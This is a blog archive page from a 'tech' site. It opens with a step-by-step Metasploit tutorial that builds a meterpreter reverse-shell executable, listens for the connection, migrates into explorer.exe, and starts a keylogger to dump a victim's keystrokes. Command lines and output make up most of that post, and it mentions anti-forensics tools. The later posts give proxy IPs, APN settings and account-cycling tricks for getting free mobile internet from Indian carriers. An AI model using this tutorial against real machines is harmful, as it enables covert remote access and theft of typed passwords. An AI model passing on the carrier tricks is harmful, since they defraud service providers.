Welcome to the tech blog copacopi

Showing posts with label LOOPHOLE. Show all posts
Showing posts with label LOOPHOLE. Show all posts

Metasploit Tutorial - With an example | Exploiting the vulnerabilities

--- The Metasploit Framework ---


Note: This is an advance topic.Read Carefully. Feel free to ask any kind of queries . We are always here to help you.

If you are really interested in network security, chances are you must have heard of the Metasploit over the last few years.
Now, have you ever wondered what someone can do to your PC, by just knowing your IP. Here's the answer. He could 0wN you, or in other words , he could have full access to your PC provided you have just a few security loopholes which may arise cause of even a simple reason like not updating your Flash player last week, when it prompted you to do so.
Metasploit is a hacker's best friend, mainly cause it makes the job of exploitation and post-exploitation a lot easier compared to other traditional methods of hacking.
The topic Metasploit is very vast in itself.However, i'll try keeping it basic and simple so that it could be understood by everyone here. Also, Metasploit can be used with several other tools such as NMap or Nessus (all these tools are present in Backtrack ).
In this tutorial, i'll be teaching you how to exploit a system using a meterpreter payload and start a keylogger on the victim's machine.

Hacking through Metasploit is done in 3 simple steps: Point, Click, 0wn.

Before I go into the details of The Metasploit Framework, let me give you a little idea of some basic terms (may seem boring at first, but you must be knowing them)

Vulnerability: A flaw or weakness in system security procedures, design or implementation that could be exploited resulting in notable damage.
Exploit: A piece of software that take advantage of a bug or vulnerability, leading to privilege escalation or DoS attacks on the target.
Overflow: Error caused when a program tries to store data beyond its size. Maybe used by an attacker to execute malicious codes.
Payload: Actual code which runs on the compromised system after exploitation
Now, what Metasploit IS?
It is an open source penetration testing framework, used for developing and executing attacks against target systems. It has a huge database of exploits, also it can be used to write our own 0-day exploits.



METASPLOIT ANTI FORENSICS:
Metasploit has a great collection of tools for anti forensics, making the forensic analysis of the compromised computer little difficult. They are released as a part ofMAFIA(Metasploit Anti Forensic Investigation Arsenal). Some of the tools included are Timestomp, Slacker, Sam Juicer, Transmogrify.
Metasploit comes in the following versions:
1. CLI (Command Line Interface)
2. Web Interface
3. MSF Console
4. MSFwx
5. MSFAPI
I would recommend using the MSF Console because of its effectiveness & powerful from a pentester’s P0V. Another advantage of this mode is, several sessions of msfconsole could be run simultaneously.
I would recommend you doing the following things in Metasploit, on a Backtrack(system or image), avoiding the windows version of the tool.
For those of all who don't know, Backtrack is a linux distro especially for security personals, including all the tools required by a pentester.
Download Backtrack from here. You can download the ISO or VMware image, according to the one you're comfortable with. If you have 2 access to more than 1 system physically, then go for the ISO image and install it on your hard disk.
Let the Hacking Begin :
Open up backtrack. You should have a screen similar to this.

The default login credentials are:
Username: root
Pass: toor
Type in
root@bt:~#/etc/init.d/wicd start
to start the wicd manager
Finally, type "startx" to start the GUI mode:
root@bt:~#startx

First of all, know your Local Ip. Opening up a konsole (on the bottom left of taskbar) and typing in:
root@bt:~#ifconfig
It would be something like 192.168.x.x or 10.x.x.x.
Have a note of it.
Now,
Launch msfconsole by going to Applications>>Backtrack>>Metasploit Engineering Framework>>Framework Version 3>>msfconsole

You should now be having a shell something similar to a command prompt in windows.
msf >
Let’s now create an executable file which establishes a remote connection between the victim and us, using the meterpreter payload.
Open another shell window (”Session>>New Shell” or click on the small icon on the left of the shell tab in the bottom left corner of the window)

root@bt:/opt/metasploit3/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=”your local ip” LPORT=”any port you wish” x > /root/reverse_tcp.exe
Your local IP is the one you noted earlier and for port you could select 4444.
(Everything has to be entered without quotes)
You should get something like this:
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.255.130,LPORT=4444
root@bt:/opt/metasploit3/msf3#
Also, now on your backtrack desktop, you would be seeing a reverse_tcp.exe file.

Migrate it to your other computer in the same local network using a thumb drive or by uploading it online.


Now open the 1st shell window with msfconsole in it.
msf >
Type the following:
msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.255.130
LHOST => 192.168.255.130
msf exploit(handler) > set LPORT 4444
LPORT => 4444

All the connections are done. You have already made an executable file which makes a reverse connection to you.
And now, you have set the meterpreter to listen to you on port 4444.
The last step you have to do now, is to type in “exploit” and press enter,
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.255.130:4444
[*] Starting the payload handler...
Now, the payload is listening for all the incoming connections on port 444.
[*] Sending stage (749056 bytes) to 192.168.255.1
[*] Meterpreter session 1 opened (192.168.255.130:4444 -> 192.168.255.1:62853) at Sun Mar 13 11:32:12 -0400 2011

You would see a meterpreter prompt like this
meterpreter >
Type in ps to list the active processes
meterpreter > ps

Search for explorer.exe and migrate to the process
meterpreter > migrate 5716
[*] Migrating to 5716...
[*] Migration completed successfully.
meterpreter >

Type in the following:
meterpreter > use priv
Now, if you want to start the Keylogger activity on victim, just type keyscan_start

Now, if you want to go to the victim’s computer,
Jus type shell
meterpreter > shell
Process 5428 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

You would now be having a command prompt,
Type in whoami, to see the computer’s name of victim :
C:\Windows\system32>whoami
whoami
win7-pc\win 7
C:\Windows\system32>

Let’s suppose you want to start a notepad on the victim’s computer.
Type in:
Let’s say the victim has typed in anything on his computer.
Just type exit, to return to meterpreter.
Now type in keyscan_dump, to see all the typed keystrokes :
meterpreter > keyscan_dump
Dumping captured keystrokes...

GaM3 0V3R
P.S.: The above information is just for educational purposes only. You should test it against the computer you own.
Read More

Surf n download free in bsnl 3g !

Hello users, There is a loophole in bsnl 3g that we have recently found and due to request of a user Mahesh we are posting it on Crackohack.So, you can surf Free unlimited internet in 3g with this trick.
Our Requirements:
                                                                     BSNL
3G supported device, like 3g mobile, 3g modem
3G activated sim of bsnl(it is easy to activate 3g in normal sim)

Just change the Internet settings with the following details .

Name :BSNL 3G
Service Type 1 WAP
Gateway IP : 1 10.100.3.2

Port no : 1 : 9209.
Timeout: NEVER
CSD No.1
User Name1: ppp
Password1: ppp123
APN setting:
wapwest.cellone.in
User Name : ppp
Password : ppp123

use these settings and enjoy the Hi speed  Internet service of bsnl at 3Mbps speed.
Read More

Proxy to browse ssl sites on airtel

HELLO users one of the biggest problems with proxy sites is that secure ssl sites are always blocked. And what for is free gprs if facebook doesn't work. Facebook is our lifeline these days and two most popular requests I get these days is using facebook on proxy sites and torrent downloading. I have already posted torrent trick and now this is the latest proxy for browsing facebook, gmail, yahoo mail and other sites which can't do with a simple http. Put these in proxy settings with apn as airtelgprs.com. Enjoy with airtel. Sometimes I feel that my site's name should've been airteltricksreview. At other times I feel that I am indirectly advertising airtel. I don't know which of these is true. Please comment.
Daveproxy.co.uk 31.193.139.10
Enjoy !
Read More

Airtel Unlimited Free 3G Internet with Your-Freedom March 2012

Hello users,
Airtel Network now has become more alert and sophisticated thas why your favourite tricks did not work for long time, and get blocked ealry.
From today, i.e. 1 MARCH 2012 all twitter backqueries got blocked due to expiry of offer from twitter.com....
But here at Crackohack we are on our way to allways crack and hack airtel, 
So dont worry  here is latest Your freedom trick to use Unlimited Airtel Free 3G GPRS for March 2012. 
Just Follow below steps and enjoy...

details:

First, Clear you browser cookies ( must do ) & goto Your-freedom.com and register a free account! ( use 10minutemail.com for email verification ).

Now Goto " Account " section and click on try before you use. ( if you get " You need to wait 15minutes then wait for it )


Now Your-Freedom settings:

Click on " Configure " > " Server Connection "


Put Address : 203.115.112.5
Port :80

Now Goto " Account information " and Put your login details there. ( New details )

Now click on " Proxy settings " and keep ems08.your-freedom.de
Port : 80



and click on "Save and Exit " button located at bottom!

Now Goto ports and keep "Web proxy " Port : 1234 ( Tick it ) and "Socks 4/5" Port 1080 ( for torrents )


Now start the connection!

( After it starts if the speed was low ) Goto Your-freedom website and click on " Try to buy " link at website you will get options to choose package!)

Now select the package and and click on start ( you will get 1hour usage time after that clear cookies and you can again create new account and do same procedure. ( Enjoy unlimited Your-freedom with this trick )

Now Browser settings as follows ( 127.0.0.1 port 1234 )
For torrents Goto settings as follows ( 127.0.0.1 port 1080 ) and random port 16881 ( Socks 5 )
Error solutions:

( We are sorry but it seems you have never used your account. : this means you need to connect with the fresh account with Your-freedom software and then refresh the page to get pacakages)

( You need to wait 15minutes to use your account : this means you need wait 15min's to activate your account fully. )

( Every time change your ip while creating accounts ) Must!
Read More

Free Airtel Internet all over Mumbai 3g hack 2012

First download and install VNapNetBuster with .NetFramework 4
Open Vnap Click on Profile Tab and then Edit
Click on URL and Header Tweak and choose Header Tweak
Chech Enable Header Tweak and Click on ADD button
Write HOST:a2.twimg.com or HOST:a3.twimg.com and click OK
save the profile and Start the VNap




Do the above shoiwn settings and enjoy fast internet!
Read More

Working real host ip addresses airtel free gprs

Working real host ip addresses airtel free gprs


Hi frieNds here is  new rocking proxy trick First download any Handler
.Set proxy type as Host or Realhost
>Add this ip In proxy server
121.241.248.6:8080
.Use default mo settings. 10000%working in karnataka tested by me hit like. Some more working proxies ip:- 82.222.49.65
port:- 8080
ip:- 125.63.65.178
port:- 8080
ip:- 123.201.99.200
port:- 1080
ip:- 118.102.230.186
port:- 1080
ip:- 117.239.2.85
port:- 6588
ip:- 50.22.88.81
port:- 3128
ip:- 210.212.20.170
port:- 3128
Read More

Tata docomo free gprs january 2012

  Tata docomo free gprs january 2012
From a long time we were working on loopholes in Tata Docomo Internet Services, and today we are going to share with you such a latest loop hole.
We all know its very hard to crack a nut like Tata Docomo.
So, HERE IS THE TRICK.
It will work on zero balance !
Works all over the India
ON PC ,MOBILE,USB MODEM ETC.

apn: tata.docomo.internet
hp: http://airteltrickz.com
ip: 49.136.72.150
port 8080
Read More

Tata Docomo 3G Hacked Again{latest jan trick}


Tata Docomo 3G Hacked Again

Hi friends,today i expose a very latest loop hole in docomo 3g.3G gives a better performance than 2G.But we are not using 3G due to its high cost.Here is the solution for your this problem you can now enjoy free 3G in your docomo tata connection.Its 100% free 3G in your docomo phone.This 3G hack can be used by any one who is having a phone with 3G supported and a docomo sim with 1 rupee balance.

Surf free 3G in Docomo
Follow the below procedure to get free 3G in your tata docomo

create a new access point by going to connection settings.
Use the below settings for the access point.

Note:---The settings are also for airtel users.Use below settings for airtel 3G

Name : Tata Docomo or any
Access Point ( APN ) – tata.docomo.dive.in
Homepage : -TRICKS7.WAPKS.MOBI
Proxy : 220.226.181.88
Proxy Port : 8080 or 80

Download opera mini handler
Use the below settings for handler
Default setting dive in
Set http in Custom Field in your Opera Mini handler
Socket Server to http://220.226.181.88.server4.operamini.com OR http://203.115.112.5.server4.operamini.com

Keep Proxy Type as blank

Now enjoy 3G at cost nothing
Read More

© Copacopi, AllRightsReserved.